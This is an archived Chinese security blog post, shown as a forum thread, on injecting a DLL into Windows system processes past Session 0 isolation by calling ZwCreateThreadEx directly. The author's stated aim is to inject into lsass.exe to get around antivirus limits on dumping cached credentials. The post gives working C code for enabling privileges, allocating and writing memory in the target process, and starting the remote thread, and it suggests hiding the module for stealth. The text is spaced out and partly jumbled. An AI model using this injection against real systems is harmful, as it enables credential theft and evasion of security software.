搜索

[18554] 2021-04-30_远程线程注入Dll，突破Session0

文档创建者：s7ckTeam
浏览次数：31
最后更新：2025-01-18
2021-04-30_远程线程注入Dll，突破Session0 远 程 线 程 注 入 D l l ， 突 破 S e s s i o n   0 原 创   B u f f e r   H A C K 学 习 呀   2 0 2 1 - 0 4 - 3 0 前 言 前 言 其 实 今 天 写 这 个 的 主 要 原 因 就 是 看 到 倾 旋 大 佬 有 篇 文 章 提 到 : 有 些 反 病 毒 引 擎 限 制 从 l s a s s 中 d u m p 出 缓 存 , 可 以 通 过 注 入 l s a s s , 就 想 试 试 注 入 l s a s s 编 译 环 境 编 译 环 境 什 么 是 什 么 是 s e s s i o n   0 在 W i n d o w s   X P ， W i n d o w s   S e r v e r   2 0 0 3 以 及 更 早 的 版 本 中 ， 第 一 个 登 录 的 用 户 以 及 W i n d o w s 的 所 有 服 务 都 运 行 在 S e s s i o n   0 上 。 这 样 做 危 险 的 地 方 是 ， 用 户 使 用 的 应 用 程 序 可 能 会 利 用 W i n d o w s 的 服 务 程 序 提 升 自 己 的 权 限 。 后 续 版 本 的 w i n d o w s , 普 通 应 用 程 序 已 经 不 再 s e s s i o n   0 中 运 行     思 路 思 路 由 于 S E S S I O N   0 隔 离 机 制 ， 导 致 传 统 远 程 线 程 注 入 系 统 服 务 进 程 失 败 。 和 传 统 的   C r e a t e R e m o t e T h r e a d   函 数 实 现 的 远 线 程 注 入   D L L 的 唯 一 一 个 区 别 就 是 , 我 们 调 用 的 是 更 为 底 层 的 Z w C r e a t e T h r e a d E x 来 创 建 线 程 , 虽 然 C r e a t e R e m o t e T h r e a d   函 数 到 底 层 也 是 调 用 Z w C r e a t e T h r e a d E x , 但 在 调 用 Z w C r e a t e T h r e a d E x 时   , Z w C r e a t e T h r e a d E x 的 第 7 个 参 数 C r e a t e S u s p e n d e d （ C r e a t e T h r e a d F l a g s ） 的 值 始 终 为 1 , 它 会 导 致 线 程 创 建 完 成 后 一 直 挂 起 无 法 恢 复 运 行 , 于 是 我 们 选 择 直 接 调 用 Z w C r e a t e T h r e a d E x , 将 第 7 个 参 数 直 接 置 为 0 , 这 样 可 达 到 注 入 目 的 实 现 过 程 实 现 过 程 看 大 佬 的 博 客 真 的 可 以 学 到 很 多 东 西 W i n 1 0   V S 2 0 1 9
先 创 建 一 个 先 创 建 一 个 d l l 这 里 有 一 个 坑 : 如 果 要 注 入 系 统 进 程 的 话 , 创 建 的 d l l 一 定 要 是 6 4 位 的 , 这 与 当 前 的 操 作 系 统 有 关 , 后 面 编 译 e x e 的 时 候 也 一 定 要 是 6 4 位 的 , 这 个 更 当 前 e x e 多 少 位 有 关 这 是 我 的 操 作 系 统 版 本   编 写 程 序 编 写 程 序 提 升 当 前 进 程 的 权 限 B O O L   A P I E N T R Y   D l l M a i n ( H M O D U L E   h M o d u l e , D W O R D     u l _ r e a s o n _ f o r _ c a l l , L P V O I D   l p R e s e r v e d ) { s w i t c h   ( u l _ r e a s o n _ f o r _ c a l l ) { c a s e   D L L _ P R O C E S S _ A T T A C H : { M e s s a g e B o x ( N U L L ,   L " 远 程 线 程 注 入 成 功 ！ " ,   L " 提 示 " ,   N U L L ) ; b r e a k ; } c a s e   D L L _ T H R E A D _ A T T A C H : c a s e   D L L _ T H R E A D _ D E T A C H : c a s e   D L L _ P R O C E S S _ D E T A C H : b r e a k ; } r e t u r n   T R U E ; }   B O O L   E n b a l e P r i v i l e g e s ( H A N D L E   h P r o c e s s ,   L P C W S T R   p s z P r i v i l e g e s N a m e )   {           H A N D L E   h T o k e n   =   N U L L ;           L U I D   l u i d V a l u e   =   {   0   } ;           T O K E N _ P R I V I L E G E S   t o k e n P r i v i l e g e s   =   {   0   } ;           B O O L   b R e t   =   F A L S E ;           D W O R D   d w R e t   =   0 ;           / /   打 开 进 程 令 牌 并 获 取 进 程 令 牌 句 柄
这 里 参 考 了   h t t p s : / / w w w . w r i t e - b u g . c o m / a r t i c l e / 2 0 1 2 . h t m l   这 个 师 傅 对 函 数 中 三 个 A P I 都 有 介 绍 Z w C r e a t e T h r e a d E x Z w C r e a t e T h r e a d E x   在   n t d l l . d l l   中 并 没 有 声 明 ， 所 以 我 们 需 要 使 用   G e t P r o c A d d r e s s   从   n t d l l . d l l   中 获 取 该 函 数 的 导 出 地 址 。           b R e t   =   : : O p e n P r o c e s s T o k e n ( h P r o c e s s ,   T O K E N _ A D J U S T _ P R I V I L E G E S ,   & h T o k e n ) ;           i f   ( F A L S E   = =   b R e t )           {                   p r i n t f ( " O p e n P r o c e s s T o k e n " ) ;                   r e t u r n   F A L S E ;           }           / /   获 取 本 地 系 统 的   p s z P r i v i l e g e s N a m e   特 权 的 L U I D 值           b R e t   =   : : L o o k u p P r i v i l e g e V a l u e ( N U L L ,   p s z P r i v i l e g e s N a m e ,   & l u i d V a l u e ) ;           i f   ( F A L S E   = =   b R e t )           {                       p r i n t f ( " L o o k u p P r i v i l e g e V a l u e " ) ;                   r e t u r n   F A L S E ;           }           / /   设 置 提 升 权 限 信 息           t o k e n P r i v i l e g e s . P r i v i l e g e C o u n t   =   1 ;           t o k e n P r i v i l e g e s . P r i v i l e g e s [ 0 ] . L u i d   =   l u i d V a l u e ;           t o k e n P r i v i l e g e s . P r i v i l e g e s [ 0 ] . A t t r i b u t e s   =   S E _ P R I V I L E G E _ E N A B L E D ;           / /   提 升 进 程 令 牌 访 问 权 限           b R e t   =   : : A d j u s t T o k e n P r i v i l e g e s ( h T o k e n ,   F A L S E ,   & t o k e n P r i v i l e g e s ,   0 ,   N U L L ,   N U L L ) ;           i f   ( F A L S E   = =   b R e t )           {                   p r i n t f ( " A d j u s t T o k e n P r i v i l e g e s " ) ;                   r e t u r n   F A L S E ;           }           e l s e           {                   / /   根 据 错 误 码 判 断 是 否 特 权 都 设 置 成 功                   d w R e t   =   : : G e t L a s t E r r o r ( ) ;                   i f   ( E R R O R _ S U C C E S S   = =   d w R e t )                   {                           r e t u r n   T R U E ;                   }                   e l s e   i f   ( E R R O R _ N O T _ A L L _ A S S I G N E D   = =   d w R e t )                   {                           p r i n t f ( " E R R O R _ N O T _ A L L _ A S S I G N E D " ) ;                           r e t u r n   F A L S E ;                   }           }           r e t u r n   F A L S E ;   }
在 6 4 位 和 3 2 位 中 , 函 数 定 义 还 不 一 样 6 4 位 中 3 2 位 中 大 体 思 路 更 之 前 d l l 注 入 差 不 多 , 知 识 更 改 C r e a t e R e m o t e T h r e a d   为 Z w C r e a t e T h r e a d E x 核 心 代 码 核 心 代 码 D W O R D   W I N A P I   Z w C r e a t e T h r e a d E x (                   P H A N D L E   T h r e a d H a n d l e ,                   A C C E S S _ M A S K   D e s i r e d A c c e s s ,                   L P V O I D   O b j e c t A t t r i b u t e s ,                   H A N D L E   P r o c e s s H a n d l e ,                   L P T H R E A D _ S T A R T _ R O U T I N E   l p S t a r t A d d r e s s ,                   L P V O I D   l p P a r a m e t e r ,                   U L O N G   C r e a t e T h r e a d F l a g s ,                   S I Z E _ T   Z e r o B i t s ,                   S I Z E _ T   S t a c k S i z e ,                   S I Z E _ T   M a x i m u m S t a c k S i z e ,                   L P V O I D   p U n k o w n ) ;   D W O R D   W I N A P I   Z w C r e a t e T h r e a d E x (                   P H A N D L E   T h r e a d H a n d l e ,                   A C C E S S _ M A S K   D e s i r e d A c c e s s ,                   L P V O I D   O b j e c t A t t r i b u t e s ,                   H A N D L E   P r o c e s s H a n d l e ,                   L P T H R E A D _ S T A R T _ R O U T I N E   l p S t a r t A d d r e s s ,                   L P V O I D   l p P a r a m e t e r ,                   B O O L   C r e a t e S u s p e n d e d ,                   D W O R D   d w S t a c k S i z e ,                   D W O R D   d w 1 ,                   D W O R D   d w 2 ,                   L P V O I D   p U n k o w n ) ;   D W O R D   _ I n j e c t S y s T h r e a d ( D W O R D   _ P i d ,   L P C W S T R   p s D l l F i l l N a m e )   {           / / 打 开 进 程           H A N D L E   h p r o c e s s ;           H A N D L E   h T h r e a d ;           D W O R D   _ S I Z E   =   0 ;           L P V O I D   p A l l o c   =   N U L L ;           D W O R D   p s D l l A d d r   =   0 ;           F A R P R O C   p T h r e a d F u n c t i o n ;           D W O R D   Z w R e t   =   0 ;           h p r o c e s s   =   : : O p e n P r o c e s s ( P R O C E S S _ A L L _ A C C E S S ,   F A L S E ,   _ P i d ) ;           / / 在 注 入 进 程 中 写 入 L o a d l i b r a r y 名 称           _ S I Z E   =   ( _ t c s l e n ( p s D l l F i l l N a m e )   +   1 )   *   s i z e o f ( T C H A R ) ;           p A l l o c   =   : : V i r t u a l A l l o c E x ( h p r o c e s s ,   N U L L ,   _ S I Z E ,   M E M _ C O M M I T ,   P A G E _ R E A D W R I T E ) ;           i f   ( p A l l o c   = =   N U L L )           {                   p r i n t f ( " V i r t u a l A l l o c E x E R R O R " ) ;
                  p r i n t f ( " V i r t u a l A l l o c E x E R R O R " ) ;                   r e t u r n   F A L S E ;           }           B O O L   x   =   : : W r i t e P r o c e s s M e m o r y ( h p r o c e s s ,   p A l l o c ,   p s D l l F i l l N a m e ,   _ S I Z E ,   N U L L ) ;           i f   ( F A L S E   = =   x )           {                   p r i n t f ( " W r i t e P r o c e s s M e m o r y E R R O R " ) ;                   r e t u r n   F A L S E ;           }           H M O D U L E   h N t d l l   =   L o a d L i b r a r y ( L " n t d l l . d l l " ) ;           i f   ( h N t d l l   = =   N U L L )           {                   p r i n t f ( " L o a d L i b r a r y E R R O R " ) ;                   r e t u r n   F A L S E ;           }           p T h r e a d F u n c t i o n   =   : : G e t P r o c A d d r e s s ( : : G e t M o d u l e H a n d l e ( L " k e r n e l 3 2 . d l l " ) ,   " L o a d L i b r a r y W " ) ;   # i f d e f   _ W I N 6 4           t y p e d e f   D W O R D ( W I N A P I *   t y p e d e f _ Z w C r e a t e T h r e a d E x ) (                   P H A N D L E   T h r e a d H a n d l e ,                   A C C E S S _ M A S K   D e s i r e d A c c e s s ,                   L P V O I D   O b j e c t A t t r i b u t e s ,                   H A N D L E   P r o c e s s H a n d l e ,                   L P T H R E A D _ S T A R T _ R O U T I N E   l p S t a r t A d d r e s s ,                   L P V O I D   l p P a r a m e t e r ,                   U L O N G   C r e a t e T h r e a d F l a g s ,                   S I Z E _ T   Z e r o B i t s ,                   S I Z E _ T   S t a c k S i z e ,                   S I Z E _ T   M a x i m u m S t a c k S i z e ,                   L P V O I D   p U n k o w n                   ) ;   # e l s e           t y p e d e f   D W O R D ( W I N A P I *   t y p e d e f _ Z w C r e a t e T h r e a d E x ) (                   P H A N D L E   T h r e a d H a n d l e ,                   A C C E S S _ M A S K   D e s i r e d A c c e s s ,                   L P V O I D   O b j e c t A t t r i b u t e s ,                   H A N D L E   P r o c e s s H a n d l e ,                   L P T H R E A D _ S T A R T _ R O U T I N E   l p S t a r t A d d r e s s ,                   L P V O I D   l p P a r a m e t e r ,                   B O O L   C r e a t e S u s p e n d e d ,                   D W O R D   d w S t a c k S i z e ,                   D W O R D   d w 1 ,                   D W O R D   d w 2 ,                   L P V O I D   p U n k o w n                   ) ;   # e n d i f           t y p e d e f _ Z w C r e a t e T h r e a d E x   Z w C r e a t e T h r e a d E x   =   N U L L ;           Z w C r e a t e T h r e a d E x   =   ( t y p e d e f _ Z w C r e a t e T h r e a d E x ) : : G e t P r o c A d d r e s s ( h N t d l l ,   " Z w C r e a t e T h r e a d E x " ) ;
执 行 结 果 执 行 结 果 这 里 我 选 择 的 是 e x p l o r e r . e x e 注 入 l s a s s . e x e   , 只 不 过 注 入 这 类 程 序 不 会 弹 窗 ， 但 我 们 不 需 要 弹 窗 嘛 （ 滑 稽 ）           i f   ( Z w C r e a t e T h r e a d E x   = =   N U L L )           {                   p r i n t f ( " Z w C r e a t e T h r e a d E x E R R O R " ) ;                   r e t u r n   F A L S E ;           }           H A N D L E   h R e m o t e T h r e a d ;           Z w R e t   =   Z w C r e a t e T h r e a d E x ( & h R e m o t e T h r e a d ,   P R O C E S S _ A L L _ A C C E S S ,   N U L L ,   h p r o c e s s ,                   ( L P T H R E A D _ S T A R T _ R O U T I N E ) p T h r e a d F u n c t i o n ,   p A l l o c ,   0 ,   0 ,   0 ,   0 ,   N U L L ) ;           i f   ( N U L L   = =   h R e m o t e T h r e a d )           {                   p r i n t f ( " 创 建 线 程 失 败 " ) ;                   C l o s e H a n d l e ( h p r o c e s s ) ;                   r e t u r n   F A L S E ;           }           W a i t F o r S i n g l e O b j e c t ( h R e m o t e T h r e a d ,   - 1 ) ;           V i r t u a l F r e e E x ( h p r o c e s s ,   p A l l o c ,   0 ,   M E M _ R E L E A S E ) ;           C l o s e H a n d l e ( h R e m o t e T h r e a d ) ;           C l o s e H a n d l e ( h p r o c e s s ) ;           F r e e L i b r a r y ( h N t d l l ) ;           r e t u r n   T R U E ;   }
  记 得 使 用 P r o c e x p 的 时 候 管 理 员 运 行 ， 要 不 然 系 统 进 程 模 块 看 不 到 但 是 像 这 种 进 程 c s r s s . e x e
遍 历 不 出 来 , 我 看 到 网 上 有 个 师 傅 说 这 个 进 程 好 像 需 要 更 高 的 权 限 去 访 问 , 注 入 的 话 也 需 要 其 他 操 作 , 应 该 是 牵 扯 到 0 环 层 面 了 , 小 弟 对 0 环 内 核 层 并 不 熟 悉 , 就 写 到 这 里 , 基 本 目 标 还 是 达 成 了 其 实 还 可 以 内 存 写 入 , 隐 藏 模 块 ， 更 加 隐 蔽 如 果 提 权 运 行 报 错 的 话 , 记 得 以 管 理 员 身 份 运 行 就 好 了 参 考 参 考 推 荐 阅 读 ： 推 荐 阅 读 ： h t t p s : / / w w w . w r i t e - b u g . c o m / a r t i c l e / 2 0 1 3 . h t m l h t t p s : / / i d i o t c 4 t . c o m / c o d e - a n d - d l l - p r o c e s s - i n j e c t i o n / b y p a s s - s e s s i o n - 0 - i n j e c t i o n
点 赞 ， 转 发 ， 在 看 点 赞 ， 转 发 ， 在 看 原 创 投 稿 作 者 ： B u f f e r
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理